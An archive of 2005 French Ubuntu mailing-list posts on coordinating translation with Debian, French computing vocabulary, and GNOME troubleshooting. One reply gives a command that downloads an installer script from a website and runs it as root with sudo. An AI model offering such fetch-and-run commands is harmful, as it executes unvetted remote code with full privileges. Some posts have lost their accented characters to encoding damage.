 vérifier si tu n'es pas sûr. D'aprés la faq de ton site (à jour ?)

pas trop, non...

 http://p.karatchentzeff.free.fr/freesoft/debian/debian-l10n-french/html/ch2.html
 sur le fonctionnement des traductions Debian tous se passe par
 CVS je ne jugerais pas la méthode, mais rosetta me parait

oui

 plus pratique au quotidien car il n'y a pas besoin d'être sur
 sa machine pour participer car tous ce fait via un navigateur,
 donc quand j'ai une heure mais que je ne suis pas chez moi je
 peux quand même utiliser le pc dispo pour traduire même sous
 windows ;-) .

oui, c'est un avantage certain et c'est pourquoi je pousse debian-l10n
à utiliser *aussi* cette solution.

Par contre, il ne faut pas se voiler la face : la qualité de service
au final passe par la modération... c'est comme cela partout. Donc,
libre accès au wiki (encore que l'enregistrement préalable me semble
souhaitable, ne serait-ce que pour avoir un nom/adresse et éviter les
cons pollueurs/destructeurs) mais au final, il faut une équipe qui
accepte, valide et commite le tout (quelque soit le type de dépôt
final)...

Le tout, c'est de trouver un moyen pratique d'intégrer le tout avec le wiki...

  http://wiki.ubuntu-fr.org/groupetraducteur/page_a_traduire
 
  J'avais il y a quelques jours fait des corrections de typo qui ont
  toutes disparues avec la mise à jour de la page... on a donc une
  régression sur une correction, ce qui n'est pas acceptable (en terme
  de qualité de service). Il faut trouver une méthode pour que cela
  n'arrive pas.
 Sur le wiki si tes corrections ont disparu c'est quelles onts été
 enlevées volontairement... pourquoi ???

Au temps pour moi; j'avais corrigé une page similaire... j'ai
rétroporté mes corrections (essentiellement typographique d'ailleurs).

PK

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Re: traduction rosetta

2005-08-24 Par sujet Patrice Karatchentzeff
Le 24/08/05, Adeimantos[EMAIL PROTECTED] a écrit :
 Patrice Karatchentzeff a écrit :

[...]

  Au temps pour moi; j'avais corrigé une page similaire... j'ai
  rétroporté mes corrections (essentiellement typographique d'ailleurs).

 Je suppose que tu voulais dire : Autant pour moi C'est un cuir que
 l'on voit souvent sur les forums de discussion. Je me demande s'il
 s'agit d'un fait de génération, car le développement de cette bourde est
 assez récent (5 dernières années ?).
 Pourquoi identifier une locution qui signifie : L'erreur est à ma
 charge avec une formule qui fait référence au temps ? Mystère.

Pas de chance :)

http://www.langue-fr.net/index/A/au_temps-autant.htm

http://www.academie-francaise.fr/langue/questions.html

Tu peux jeter un coup d'oeil à la FAQ de fllf aussi qui est très drôle aussi...

Au temps pour toi :)

PK

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Re: traduction rosetta

2005-08-20 Par sujet Patrice Karatchentzeff
2005/8/20, Lionel Montrieux [EMAIL PROTECTED]:
 Patrice Karatchentzeff a écrit :

[...]

 Sauf... Sauf que, précisément, le fait que l'informatique évolue
 rapidement implique que ces mots, en anglais, sont rapidement intégrés
 au langage courant (en tout cas pour les technologies les plus grand
 public). La traduction en français arrive souvent avec une guerre de
 retard, lorsque le terme anglais est *déjà* bien implanté, et utilisé de
 manière assez courante. La version française introduit alors une
 confusion potentielle pour l'utilisateur, pas tout à fait certain que
 l'on parle bien de la même chose.

C'est faux : par exemple, ce que j'ai déjà donné comme browser, news,
etc. Il y a en des tonnes.

[...]

 Non : c'est faire une association.
 
 
 Un firmware, qu'est-ce que c'est ? C'est un logiciel intégré dans un
 composant matériel. Wikipédia est d'ailleurs d'accord avec moi, et tu

Tiens, tu viens de montrer l'étendu du problème en une seule phrase :
pour décrire *un* mot anglais, tu as été (d'ailleurs assez
imprécisément) obligé d'utiliser une *longue* périphrase... en
français.

Si tu avais été anglais, tu aurais dit quelque chose comme « a
firmware is an integrated (in fact embeded) software in hardware
chipset »...  tu vois, tu confonds le terme et sa définition. Les
anglophones ont choisi d'inventé un term e complètement bidon dont ils
sont friands :

  firm :

firm (n.):
  société, entreprise de commerce, maison de commerce, firme

firm (v.):
   solidifier
   se solidifier
   affermir
   stabiliser
   se stabiliser (prix)

   firm (a.):
   solide
   fixe
   ferme
   assuré
   fort
   constant
   valable

firm (adv.):
   solidement
   stablement
   en vigueur, par détermination

ware :

   ware (n.):
   articles, vaisselle

   ware (v.):
   emmagasiner
 
   ware (v.):
 attention!

(source : babytrans)

Bon, je passe sur la mauvaise foi qui consiste à traduire « ware »
puisqu'il s'agit d'une extension pratique en anglais pour traduire un
ensemble donné dont le préfixe indique le côté générique (sofware,
hardware, etc.)

Bon, maintenant, tu es capable de faire la liaison en anglais entre ta
définition et l'origine du mot ? En étant super tordu et de très
mauvaise foi, tu y arriveras probablement  (on peut même jouer sur les
sous-entendus) ...

 noteras que la version française de Wikipédia parle bien de firmware, et
 non de microprogramme. Il n'est d'ailleurs pas fait mention du terme
 microprogramme sur cette page.

Wikipédia ne contient que ce qu'on y met... C'est un Wiki donc s'il
manque la traduction « officielle », c'est une erreur de Wikipédia...

Si tu veux une référence officielle, tu prends (pour la France)
l'Académie Française (avec ses avantages et ses inconvénients). Le
mieux est encore de prendre l'ensemble des sources à ta disposition,
c'est-à-dire l'Académie et les différentes équipes de traduction
francophones (qui corrigent les erreurs de l'Académie).

Tiens, un très mauvais exemple de traduction mot-à-mot à ce sujet :

http://www.linux-france.org/prj/jargonf/F/firmware.html

(je n'avais pas vu de référence au mou et au dur depuis le début des
années 80 dans la litérature francophone !)

 Le terme firmware apporte donc deux informations : logiciel, et
 composant matériel. La notion de petite taille est sous-jacente, on
 imagine difficilement un firmware de 500 mo.

*Tu* imagines difficilement... Tu as un train de retard... des EEPROM
qui dépassent les dizaines de Mo existent déjà...

 Qu'en est-il du terme microprogramme ? Il peut être divisé en deux :
 micro, et programme. La référence au matériel ? Aux oubliettes,
 dirait-on.

cf. ma décomposition du terme anglais. Cela n'a pas forcément de sens
de décomposer (même si parfois l'héritage est flagrant : courriel,
pourriel, etc.)

 Imaginons que j'écrive un programme en C, pour reprendre mon exemple. Ce
 programme affiche Hello World dans le terminal, et ensuite se termine.
 Il fait royalement 3 lignes.
 -d'une part, c'est un programme
 -d'autre part, il fait trois ligne, on peut donc raisonnablement le
 qualifier que micro.

Tu confonds source et binaire au passage...

[...]

 Quand bien même il s'agirait non pas d'une traduction mais d'une
 association, il n'en est pas moins vrai que l'on perd le rapport au
 matériel dans la bataille.

Pas plus que dans le terme originel...

 Tiens, un exemple : les anglophones ont inventé le terme « computer »,
 du verbe « to compute » qui veut dire... calculer... Quel est le
 rapport avec l'ordinateur ? Oui, on peut calculer avec un
 ordinateur... mais c'est un sous-ensemble très réduit de ses
 possibilités...
 
 
 Le rapport avec l'ordinateur ? Il est évident. L'ordinateur a été créé,
 au départ, pour faire des calculs, rien d'autre. L'ancêtre de
 l'ordinateur est d'ailleurs le calculateur mécanique, ce n'est pas pour
 rien. Pour la petite histoire, les premiers ordinateurs calculaient
 principalement des

Re: traduction rosetta

2005-08-17 Par sujet Patrice Karatchentzeff
2005/8/17, Sebastien Bacher [EMAIL PROTECTED]:
 Bonjour,

 Les fichiers .po des paquets ont été chargés dans rosetta, il est donc
 possible de traduire les applications pour la prochaine stable (5.10)
 sans problème.
 
 Pour ceux qui veulent joindre l'équipe de traduction de la distribution:
 https://launchpad.net/people/ubuntu-l10n-fr
 
 Une mailing-list a aussi été mise en place pour discuter de ce qui est à
 faire, des traductions, etc:
 http://lists.ubuntu.com/mailman/listinfo/ubuntu-fr-l10n

J'ai quelques questions...

Il n'y a pas d'accès, depuis tes liens, vers une explication du
travail effectué par la l10n-fr d'Ubuntu...

Tu pourrais nous faire un résumé ici stp ?

- que traduisez-vous exactement ?
- la procédure ? (notamment la qualité de service...)

Et plus important encore (à mes yeux...)

- l'interaction avec la l10n-fr de Debian (coordination)
- l'interaction avec la qualité de service de Debian

Pour le moment, de ce que j'ai pu en voir, cela semble aller dans le
bon sens (le Wiki d'Ubuntu est plutot de bonne facture et ira en
s'améliorant dans les mois à venir).

Pour éviter tout troll à deux balles, il ne s'agit pas de critiquer ou
de lancer une bataille (AMHA stérile) entre Debian et Ubuntu : je veux
comprendre et je crois que je ne suis pas tout seul...

Merci d'avance,

PK

-- 
  |\  _,,,---,,_   Patrice KARATCHENTZEFF
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ubuntu-fr mailing list
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http://lists.ubuntu.com/mailman/listinfo/ubuntu-fr


Re: traduction rosetta

2005-08-17 Par sujet Patrice Karatchentzeff
2005/8/17, Sebastien Bacher [EMAIL PROTECTED]:
 Le mercredi 17 août 2005 à 11:34 +0200, Patrice Karatchentzeff a écrit :
 
  Il n'y a pas d'accès, depuis tes liens, vers une explication du
  travail effectué par la l10n-fr d'Ubuntu...
 
 Une page de wiki a été mise en place, par Emmanuel, pour ça :
 http://wiki.ubuntu-fr.org/rosetta

OK, je n'avais pas vu... je regarde cela.

 Toute contribution au wiki est la bienvenue.

C'est fait :)

 ubuntu-fr-l10n/rosetta sont utilisées pour les traductions de la
 distribution, c'est à dire pour tout ce qui est fournit par les paquets
 (interfaces de logiciel, entrées de menu (même si cette partie est
 encore en chantier), documents xml, etc).

donc, en fait, sur l'interface GNOME principalement, si je comprends
bien. La focalisation se fait avec ce qui touche directement
l'utilisateur, c'est cela ?

[...]

  Tu pourrais nous faire un résumé ici stp ?
 
  - que traduisez-vous exactement ?
 
 La distribution (.po des logiciels principalement, mais aussi documents
 xml qui sont passés en .po).

y-a-t'il autres choses que GNOME pour les logiciels ?

  - la procédure ? (notamment la qualité de service...)
 
 A définir. Rosetta commence être au point pour les traductions donc y a
 pas eu trop d'organisation, faut mettre ca en place. Niveau qualité le
 système de Debian l10n marche bien, cad passer par la liste pour le
 travail à faire/les relectures. Peut-être adopté quelque chose dans le
 genre mais plutôt basé sur le wiki.

La liste l10n de Debian [EMAIL PROTECTED] ?

Pour le Wiki, il faut voir... je ne suis pas sûr que cela soit
possible avec les .po  co... mais pour la doc en ligne, on a
difficilement fait mieux :)

 
 
  Et plus important encore (à mes yeux...)
 
  - l'interaction avec la l10n-fr de Debian (coordination)
 
 Y en a pas pour le moment, mais on traduit pas les mêmes choses. Les
 traducteurs Debian s'occupent principalement des manpages, templates
 debconf, site web et description de paquet non ? Rosetta ca serait

non : la l10n de Debian s'occupe (dans un premier temps) de tout ce
qui est fait par Debian... donc, effectivement tout ce que tu cites
mais aussi la localisation de dpkg, apt, aptitude  autres.

 plutôt les interfaces des applications (les .po des logiciels) pour le
 moment.

  - l'interaction avec la qualité de service de Debian
 
 La qualité de service, ca correspond à quoi exactement?
 La question est comment se situe les exigeances de qualité par rapport
 à celles des traducteurs Debian?

oui. L'exigence est super haute chez Debian... ce serait dommage (et
dommageable AMHA) de ne pas profiter de la dynamique en place).

Il faut absolument :

- garder une cohérence de vocabulaire
- garder l'esprit (peu mais bien... on traduit en français, pas en
franglais pour informaticiens boutonneux)
- essayer de conserver le cycle de validation (un traducteur, des relecteurs)
- ne pas dupliquer les efforts

et pourquoi pas unir nos efforts... l'équipe est bien rodée chez
Debian. Autant en profiter (sur tous les plans).

@+,

PK

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Re: traduction rosetta

2005-08-17 Par sujet Patrice Karatchentzeff
2005/8/17, Lionel Montrieux [EMAIL PROTECTED]:
 Patrice Karatchentzeff a écrit :

[...]

 Pour le Wiki, il faut voir... je ne suis pas sûr que cela soit
 possible avec les .po  co... mais pour la doc en ligne, on a
 difficilement fait mieux :)
 
 
 Personnellement, je serais plutôt partisan d'un système utilisant et la
 mailing list, et le wiki.
 -Sur la mailing list, les discussions
 -Sur le wiki, les todo-lists et les décisions prises. Ainsi, pourquoi
 pas, qu'un tableau permettant de savoir qui fait quoi.

Quid de la procédure de relecture dans ce cycle ?

[...]

 Il faut absolument :
 
 - garder une cohérence de vocabulaire
 
 
 Certainement, il est d'ailleurs essentiel de se mettre d'accord
 là-dessus très rapidement. On pourrait peut-être se baser sur les
 conventions de traduction de debian, d'ailleurs...

J'avoue que c'est un peu sur le terrain sur lequel je voulais
embarquer la discussion... cela me paraîtrait fort dommageable de ne
pas suivre les habitudes (*toutes* les habitudes...) en place,
question de cohérence... et aussi de clin d'œil envers le travail déjà
accompli.

 - garder l'esprit (peu mais bien... on traduit en français, pas en
 franglais pour informaticiens boutonneux)
 
 
 Bien sûr. Attention toutefois à ne pas tomber dans l'autres extrême du
 tout traduit, qui devient alors ronflant, et nettement moins clair

Qu'appelles-tu « tout traduit » ? On traduit tout ou on ne traduit rien...

L'informatique : c'est 99,9% d'utilisateurs non geek...

 - essayer de conserver le cycle de validation (un traducteur, des relecteurs)
 
 
 Ce serait bien en effet, mais il ne faut pas oublier que tous les
 membres de l'équipe de traduction francophone de rosetta ne sont (et ne
 seront) pas forcément inscrits à la mailing list, ni ne lisent (ou ne
 liront) le wiki. Par contre, on pourrait toujours les prévenir et les
 encourager à le faire.

Ce n'est pas suffisant en terme de qualité : il ne faut pas qu'un
document soit validé sans au moins une relecture...

 
 - ne pas dupliquer les efforts
 
 et pourquoi pas unir nos efforts... l'équipe est bien rodée chez
 Debian. Autant en profiter (sur tous les plans).

Il s'agirait de coordonner non seulement les efforts mais aussi les
rapports de bogues et le suivi... Rosetta est déjà un pavé dans la
mare actuellement mais autant en profiter pour aller de l'avant et
mettre les choses à plat.

PK

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Re: traduction rosetta

2005-08-17 Par sujet Patrice Karatchentzeff
Le 17/08/05, yann[EMAIL PROTECTED] a écrit :
 
[...]

 Une réunion concernant la documentation sur Ubuntufr aura lieu le 22
 aout à 21h (heure de paris) sur #ubuntu-fr-meeting @ freenode ,
 L'ordre du jour est la:
 http://wiki.ubuntu-fr.org/groupetraducteur/reunion2_2005_ordre_jour
 
 Ce serait avec plaisir que nous te compterions parmi les présents à
 cette réunion. Rajoute à l'ordre du jour ce dont tu veux parler et viens
 en discuter avec nous.

Je ne te promets rien car je n'ai jamais utilisé IRC juqu'à présent...
mais ayant l'ADSL depuis peu, pourquoi pas ? par contre, je ne
garantie pas ma présence : j'ai des obligations par ailleurs qui
peuvent me contraindre sans prévenir...

Je vais en parler sur debian-l10n par contre : c'est bien le diable
s'il n'y a pas quelqu'un pour me suppléer là-bas le cas-échéant...

Je vais par contre essayer d'inscrire cela à l'ordre du jour dans tous
les cas : vous êtes assez grand pour en discuter sans personne de
Debian au cas où :)

PK

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Re: traduction rosetta

2005-08-17 Par sujet Patrice Karatchentzeff
2005/8/17, Lionel Montrieux [EMAIL PROTECTED]:
 Patrice Karatchentzeff a écrit :

[...]

 Qu'appelles-tu « tout traduit » ? On traduit tout ou on ne traduit rien...
 
 L'informatique : c'est 99,9% d'utilisateurs non geek...
 
 
 Par exemple ? Traduire firmware par microprogramme, Morphing par
 Morphage, swap par permutation, ou encore reboot par réamorcer
 me semble peut-être un rien excessif.

ET pourtant non.

Tu raisonnes à travers ta vision de geek. C'est normal puisque ton
environnement est ainsi fait. Malheureusement pour toi, tu n'es qu'un
représentant d'une infime partie de la population qui utilise
l'informatique...

En France, par exemple, personne ou presque ne parle anglais. 

De plus, croire qu'un terme anglais permet de mieux faire passer un
message est de la pédantrie d'intellectuels... ou de
pseudo-intellectuels.

firmware - cela ne dira rien à une personne de non-initié (déjà que
chez les initiés, ce n'est pas forcément clair...). Par contre,
microprogramme (sans trait d'union) lui fera penser à quelque chose
(petit programme, même si généralement, il ignorera ce qu'est un
programme). Par contre, il est rassurant pour lui d'utiliser un nom
qui lui évoque quelque chose...

Je connais beaucoup d'instituteurs qui sont passés à Linux lorsque la
localisation en français a été avancée... pour la simple raison qu'ils
ne connaissaient pas du tout l'anglais ni le jargon associé.

Reprenons ta liste si tu veux :

* morphing : je ne peux rien dire, je ne sais pas comment cela est
traduit à l'heure actuelle... mais je ne vois aucune raison de ne pas
le faire

* swap : on traduit par « zone d'échange ». C'est relativement clair.
Pour un profane s'entend.

* boot : on traduit effectivement par amorçage... ce qui est tout à
fait cela. On amorce le système... qui démarre ensuite. Pour le
profane - toujours lui - cela devient logique...

Attention, bien différencier le jargon de l'informaticien francophone
- un sabir franglais comme tous les jargons de métier - de celui de
l'usager lambda. Ce n'est pas le même registre de langue. Moi aussi,
au boulot, je parle de boot, de swap, etc. Mais avec des collègues.
Pas avec les usagers.

 S'il ne faut pas faire du franglais pour le plaisir, il me semble que
 certains termes informatiques sont plus clairs en anglais que dans leur
 traduction française. C'est particulièrement vrai pour les acronymes. Je
 n'ai plus l'adresse en tête, mais je me souviens d'une traduction de
 HTML en français qui ne ressemblait strictement à rien. Et ce n'était
 pas la seule...

Possible... tu trouveras toujours un contre-exemple pour dénigrer
l'ensemble du travail.

Mais il faut avant tout se pencher sur le sens et la façon de faire
passer le sens : exemple : tout le monde utilise paquetage pour
traduire « package »... sauf Debian. Et pourquoi ? parce que tous les
gens qui utilisent ce terme font une faute de traduction (et donc de
sens)... ils créent un néologisme par ignorance, fainéantise ou
paresse...

Or, pourquoi - chez Debian - on applique le contraire ? Tout
simplement parce que l'on applique dans la l10n le concept mis en
avant dans la fabrication de la distribution Debian : on fait les
choses bien. Plutôt que vite (ils se trouvent qu'en ayant en plus fait
les choses bien, on les fait désormais plus vite que tout le monde :
l'équipe l10n-french a les meilleurs pourcentages de traduction de
tout Debian). Donc, on réfléchit sur la traduction, on en discute puis
on adopte un concensus.

Attention, cela ne veut pas dire que tout le monde est d'accord sur
tout : il s'agit d'un concensus... mais il faut alors l'appliquer sur
la longueur (revenir sur une décision oblige à changer *tous* les
documents déjà traduits... des fois depuis presque... dix ans en
arrière).

Certains choix font hurler les techniciens : tant pis. La l10n n'est
pas vraiment fait pour eux... encore que je ne connais pas vraiment de
« grands » techniciens qui ne soient pas aussi très pointilleux sur la
l10n...

Désolé, j'ai été un peu long... mais quand on aime, on ne compte pas :)

PK

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Re: Page à relire

2005-08-14 Par sujet Patrice Karatchentzeff
2005/8/14, lordphoenix [EMAIL PROTECTED]:
 Bonjour,
 
 J'ai ajouté un paragraphe à propos des paquets orphelin sur la page
 concernant synaptic http://wiki.ubuntu-fr.org/applications/synaptic si
 quelqu'un peut relire :)

fait : j'ai corrigé typo, faute d'orthographe et quelques reformulations.

Toujours pas de compte donc c'est fait sous mon adresse IP...

T'es fâché avec les dépôts :)

PK

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Re: Nouvel utilisateur linux

2005-08-14 Par sujet Patrice Karatchentzeff
Le 14/08/05, rabemananjara[EMAIL PROTECTED] a écrit :
 bonjour à tous!
 
 On vient de m'installer linux et franchement, je ne m'y connais pas du
 tout.C'est un pote qui me l'a mis.Enfin bref, je voudrais utiliser une
 acrte wifi et le cd(rom fourni avec n'est utilisable que sous windows.
 
 Que faire?

se prendre en main..

Une saine lecture :

http://wiki.ubuntu-fr.org/

en particulier sur le point qui t'intéresse :

http://wiki.ubuntu-fr.org/materiel/accueil

et en complément :

http://fr.ubuntuguide.org/

PK

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Re: Son sur carte-mère K8N neo (AMD64)

2005-08-13 Par sujet Patrice Karatchentzeff
Le 23/07/05, Patrice Karatchentzeff[EMAIL PROTECTED] a écrit :
 Salut,
 
 Y-a-t'il quelqu'un avec la même carte-mère  que moi ? J'utilise une
 Ubuntu (5.04) et GNOME me dit que tout fonctionne bien mais je
 n'entends rien :)

Bon, je suis une tanche... Je n'avais jamais utilisé alsa jusqu'à
présent et mon chipset fonctionne parfaitement : tout le détail des
opérations à faire ici

http://wiki.ubuntu-fr.org/installation/son

Il suffisait d'augmenter le son dans le mixer...

 J'ai beau cherché sur le net, je ne trouve pas le module du noyau
 correspondant au chipset son :
 
mauvais réflexe d'ex OSSien...

PK

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Re: http://wiki.ubuntu-fr.org/

2005-08-12 Par sujet Patrice Karatchentzeff
Le 07/08/05, yann[EMAIL PROTECTED] a écrit :
 

[...]

 Bon, je me suis enregistré mais je ne peux pas me connecter : il y a
 un temps d'attente entre l'enregistrement et la possibilté de se
 logguer ?
 
 
 Normalement non. Je demanderais à des gens qui sont sur le wiki. Réessaie...

Bon, j'ai beau essayé de la ,aison et du boulot, je ne peux pas ne
connecter... et sur la page, il n'y a personne qui contacter...

Tu peux faire remonter l'info ? J'ai encore corrigé des typos sur le site...

PK

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http://wiki.ubuntu-fr.org/

2005-08-07 Par sujet Patrice Karatchentzeff
Salut,

Il semble que l'on ne peut pas s'enregistrer comme utilisateur sur le
site en objet... Il ne pourra pas être possible de lier le login que
l'on a chez Ubuntu et sur le Wiki ? J'ai corrigé quelques pécadilles à
droite à gauche et seule l'adresse IP de ma machine est marquée comme
auteur des modifs...

Pas que je veuille laisser mon nom particulièrement mais pour le
suivi, c'est plus sympa de savoir que c'est moi plutôt que l'adresse
de ma babasse...

PK

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Re: http://wiki.ubuntu-fr.org/

2005-08-07 Par sujet Patrice Karatchentzeff
Le 07/08/05, yann[EMAIL PROTECTED] a écrit :
 Patrice Karatchentzeff wrote:

[...]

 Chez Ubuntu, tu veux dire sur ubuntulinux.org ? dans ce cas, non. Avec

OK

 le forum par contre on est en train d'essayer, oui.
 http://wiki.ubuntu-fr.org/?do=login sinon. Il manque un lien vers la
 page quelque part, effectivement.

En effet. Merci, je me suis enregistré.

PK

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Re: http://wiki.ubuntu-fr.org/

2005-08-07 Par sujet Patrice Karatchentzeff
Le 07/08/05, Patrice Karatchentzeff[EMAIL PROTECTED] a écrit :
 Le 07/08/05, yann[EMAIL PROTECTED] a écrit :
  Patrice Karatchentzeff wrote:

[...]

  le forum par contre on est en train d'essayer, oui.
  http://wiki.ubuntu-fr.org/?do=login sinon. Il manque un lien vers la
  page quelque part, effectivement.
 
 En effet. Merci, je me suis enregistré.

Bon, je me suis enregistré mais je ne peux pas me connecter : il y a
un temps d'attente entre l'enregistrement et la possibilté de se
logguer ?

Merci

PK

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Re: ? [fork] clients mail

2005-08-04 Par sujet Patrice Karatchentzeff
2005/8/4, Jody [EMAIL PROTECTED]:

[...]

 J'ai jamais trouvé comment envoyer un fichier joint avec la commande mail :(

Faut bricoler un peu (surtout pour faire un truc qui marche partout).
L'idée : tu crées un fichier séparé que tu uuencodes toi-même et que
tu envoies tel quel.

Mais bon, le plus simple dans ce cas-là et de le faire via mutt... il
est plus simple de compiler mutt à la main sur les UNIX où il n'est
pas disponible que de faire le bricolage cité plus haut.

PK

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Re: Bus HAL

2005-07-27 Par sujet Patrice Karatchentzeff
2005/7/26, Sebastien Bacher [EMAIL PROTECTED]:

[...]

 gnome-volume-manager est listé dans la session par defaut. La session
 courante (~/.gnome2/session) ne le liste probablement pas, il suffit
 d'enregistrer une session lorsqu'il est lancé.

Je n'ai pas ce fichier chez moi. Je vais le créer et voir si cela le fonctionne.

Merci

 Quant au pourquoi il a été supprimé, bonne question. Est-ce que
 ubuntu-desktop était installé avant la mise à jour ? Il utile pour
 certains transitions qui ne se font pas automatiquement sans lui.

J'avoue que je ne suis pas sûr mais je crois bien qu'il a été installé
a posteriori. dans le doute, on dira que c'est lui le fautif :)

Merci

PK

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Bus HAL

2005-07-25 Par sujet Patrice Karatchentzeff
Salut,

Depuis mon passage en Hoary, lorsque je lance ma session X, ça rame
comme un fou jusqu'au message d'erreur :

  HAL bus not initialized

Après avoir Googlisé, j'ai vu que c'est simplement
gnome-volume-manager qui s'est fait la malle... le relancer permet de
mounter automatiquement tous les volumes (ce qui avait aussi disparu).

Question : où dois-je placer gnome-volume-manager pour qu'il soit
automatiquement lancé ? Question subsidiaire : pourquoi cela a-t-il
disparu dans la mise à jour ?

Merci d'avance,

PK

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Re: Traduction de la note à propos des change ments dans les language-packs

2005-07-02 Par sujet Patrice Karatchentzeff
2005/7/1, Sebastien Bacher [EMAIL PROTECTED]:

[...]

 La note en question avec une première traduction est à la suite de ce
 mail, n'hésitez pas à corriger les fautes, commenter, etc ...
 Les notes de publication d'Hoary traduisent language pack par
 paquets de langue, vous trouvez ca bien ? Peut-être que paquets

non, c'est moche... il ne faut pas coller à la langue pour traduire
correctement mais trouver une expression élégante

 de/pour la localisation  ?

« paquet de traductions » peut-être ?


 Name: Language pack reorganization
 Description: For various reasons, the formerly monolithic language packs have
  been split into three parts: GNOME, KDE, and all other translations.
  Depending on whether you use Ubuntu or Kubuntu (i. e. GNOME or KDE) you 
 should
  install the language-pack-gnome-%LCODE% and/or language-pack-kde-%LCODE% 
 package.
  You should consider using the Language Selector (System - Administration -
  Ubuntu Language Selector) which will do that automatically.

Une remarque au passage sur la description du paquet en anglais :
c'est du charabia (pour ne pas dire jargon) d'informaticiens qui ne
sert à rien... Il faut faire une description *générale*, omettre ce
qui ne sert à rien et ne pas mettre une tartine d'explications
techniques déplacées.

C'est une habitude dure à perdre :)

1) For various reasons

On s'en fout... cela n'apporte rien, alourdit et ampoule la
description pour rien.

2) language-pack-???-%LCODE%

no comment :)

3) Pas besoin de parler de Ubuntu/kubuntu. Faîtes un paquet avec le
nom Ubuntu et l'autre avec le nom kubuntu...

etc.

 Name-fr: réorganisation des paquets de localisation
 Description-fr: Pour diverses raisons, les précédents paquets monolithiques
  ont été découpés en trois parties: GNOME, KDE et les autres traductions.

Les *anciens* paquets 
La version précédentre de ces anciens paquets

J'écrirai quelque chose comme :

La version précédente de ces paquets contenait l'ensemble des
traductions. Les nouveaux paquets ont été divisé en trois : un pour
GNOME, un autre pour KDE et un dernier regroupant les autres
traductions.

etc.

PK

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Re: Réinstaller proprement GNOME

2005-06-16 Par sujet Patrice Karatchentzeff
Le 15/06/05, Patrice Karatchentzeff[EMAIL PROTECTED] a crit :
 Salut,

[...]

 Bref, j'en suis rduit  vouloir rinstaller compltement GNOME. (j'ai
 cre un nouvel utilisateur et ce dernier est confront au mme
 problme). Je ne veux pas rsinstaller totalement le systme (je ne
 l'ai jamais fait en dix ans de Linux et je ne vais pas commencer
 aujourd'hui...).
 
 Par contre, rinstaller GNOME suppose savoir le dsinstaller... et l,
 je sche... il y en a partout et de la mme faon, il n'y a pas de
 paquet central pour rinstaller l'ensemble.

Bon, j'ai fini par trouver... tout  fait par hasard. 

Dans l'ordre :

1) Pour virer GNOME

# apt-get remove --purge libgnome-2.0 (libgtk-2.0 je ne sais plus)

Cela vire prs de 300 Mo de paquets...

2) Pour rinstaller l'ensemble (marche pas pour la dsinstallation) :

# apt-get install ubuntu-desktop

(et virer ensuite le screensaver ;-))

Bon, une fois fait tout cela, cela ne changeait rien  mon problme de
menu mais c'est une autre histoire... c'est en lanant gimp  la main
que j'ai eu la rvlation :

C'est la variable G_FILENAME_ENCODING que j'avais positionn  ma
locale habituelle (et par dfaut : [EMAIL PROTECTED]) qui mettait le bronx.
En tout cas, j'avais suivi cela  l'poque (c'est dans le README.gz de
libgtk2.0) pour configurer gdm (qui sous Ubuntu est un peu bloqu ct
configuration)). Ft un temps, on utilisait G_BROKEN_FILE pour la mme
chose... mais il semblerait que cela dchose un peu (c'est le moins
que l'on puisse dire...) si l'on suit exactement les recommandations
du README...

J'ai tout mis  UTF-8 et depuis GNOME fonctionne...

Bon, c'est bon tout cela uniquement pour les gens qui n'ont pas
d'historique  grer... cia les autres...

Note : gimp est la seule appli  GNOME  qui refusait de se lancer 
la main dans les conditions prcites. Elle avait bon got de parler
de ces variables, contrairement au message totalement cryptique des
menus de GNOME...

Bon, merci  tout le monde : en assemblant un peu tous les morceaux
d'ici et d'ailleurs, j'ai finalement russi  m'en sortir...

PK

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Re: Réinstaller proprement GNOME

2005-06-16 Par sujet Patrice Karatchentzeff
Le 16/06/05, Adeimantos[EMAIL PROTECTED] a crit :
 Patrice Karatchentzeff a crit :

[...]

 Ce que je trouve trange c'est d'avoir oubli que Ubuntu Hoary tait
 entirement pass en UTF8.

Je n'ai rien oubli du tout... c'est juste que mon ordinateur vient
avec un historique et ce n'est pas parce que quelqu'un a dcid qu'il
rompait avec la sacro-sainte compatibilit ascendante que tout le
monde va et/ou peut le faire...

 Tout est bien qui fini bien.

C'est l'essentiel...

PK

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Réinstaller proprement GNOME

2005-06-15 Par sujet Patrice Karatchentzeff
Salut,

J'ai posté il y a quelques mois mon problème sur les menus de GNOME.
Un jour, j'ai perdu les menus du panel (entendre : le menu existe dans
le panel mais les entrées des menus sont manifestement vides : elles
me renvoient une erreur en me disant cela... et les applications
existent bien puisque je peux les lancer à la main).

Pensant à un bogue de la Hoary, j'ai mis à jour hier (contexte:
AMD64). La mise à jour n'a pas posé de problème mais le problème
persiste. J'ai une nouvelle entrée dans les menus pour lancer
directement une application comme sur un terminal et c'est la seule
qui fonctionne...

Bref, j'en suis réduit à vouloir réinstaller complètement GNOME. (j'ai
crée un nouvel utilisateur et ce dernier est confronté au même
problème). Je ne veux pas résinstaller totalement le système (je ne
l'ai jamais fait en dix ans de Linux et je ne vais pas commencer
aujourd'hui...).

Par contre, réinstaller GNOME suppose savoir le désinstaller... et là,
je sèche... il y en a partout et de la même façon, il n'y a pas de
paquet central pour réinstaller l'ensemble.

Une idée ?

Merci d'avance,

PK

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Re: Réinstaller proprement GNOME

2005-06-15 Par sujet Patrice Karatchentzeff
Le 15/06/05, Vincent - [EMAIL PROTECTED][EMAIL PROTECTED] a écrit :

[...]

 Perso, je ferais ça en premier, mais tu l'as surement fait.
 $killall gnome-panel (On relance gnome-panel en le killant)
 
 Après, si ça marche pas ! Je testerai la desinstall de gnome-panel (sans
 le purge).
 $sudo apt-get remove gnome-panel
 Après réinstalle de gnome-panel
 $apt-get install gnome-panel

oui, bien sûr, j'ai fait tout cela...

Il semble que les menus de GNOME soit quelque chose d'assez complexe
et /relativement/ indépendant du panel... C'est pourquoi je cherche à
réinstaller le tout de zéro.

PK

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Re: Réinstaller proprement GNOME

2005-06-15 Par sujet Patrice Karatchentzeff
Le 15/06/05, Azzeddine OUADYANI[EMAIL PROTECTED] a écrit :
 Bonjour,
 Tu peux toujours essayer d'installer un editeur de menu (smeg) comme ca tu
 réorganise ton menu et par la meme occasion corriger ces entrées.
 $wget http://dev.realistanew.com/smeg/installsmeg
 $ sudo chmod +x installsmeg  sudo ./installsmeg
 $ smeg

J'ai oublié de préciser que je n'avais pas connexion à l'extérieur
pour le moment avec cette machine...

Merci quand même,

PK

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Re: Réinstaller proprement GNOME

2005-06-15 Par sujet Patrice Karatchentzeff
2005/6/15, Sebastien Bacher [EMAIL PROTECTED]:

[...]

 Comment ça ? Le menu est vide, ou les icônes sont bien là mais ne
